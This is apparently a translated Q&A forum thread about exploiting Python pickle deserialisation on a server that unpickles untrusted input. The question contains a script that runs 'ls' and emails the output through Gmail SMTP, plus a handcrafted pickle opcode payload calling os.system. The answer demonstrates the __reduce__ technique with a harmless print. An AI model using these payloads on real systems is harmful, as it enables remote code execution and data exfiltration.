泡菜开发

时间:2017-12-07 22:55:35

标签: python pickle exploit

我有一个将pickle文件发送到服务器的任务,该服务器会取消发送给它的任何内容。我的计划是让它给我发回电子邮件给我打印出的ls命令。我有这个文件:

import smtplib
import commands
status, output = commands.getstatusoutput("ls")
server = smtplib.SMTP_SSL('smtp.gmail.com')
server.login("...@gmail.com", "password")
server.sendmail("...@gmail.com", "...@gmail.com", output)
server.quit()

如何让服务器运行它?我正在尝试发送一个文件:

cos
system
(S''
tR.

使用'中的python脚本'

我在想这样的事情:

cos
system
(S'python\n import smptlib\n ...'
tR.

但它没有执行命令。我怎样才能让它执行python?

我已经在自己的计算机上试过了,python发送的电子邮件很好。

1 个答案:

答案 0 :(得分:6)

__reduce__方法中做任何你想要做的友善。请不要做坏事。

import pickle

class Friendly(object):
    def __reduce__(self):
        return (friendly, ('executing friendly code',))

def friendly(x):
    print x

pickle.dump(Friendly(), open('pickled', 'w'))
print 'loading ...'
pickle.load(open('pickled'))

- >

  

$ python friendly.py
  正在加载...
  执行友好代码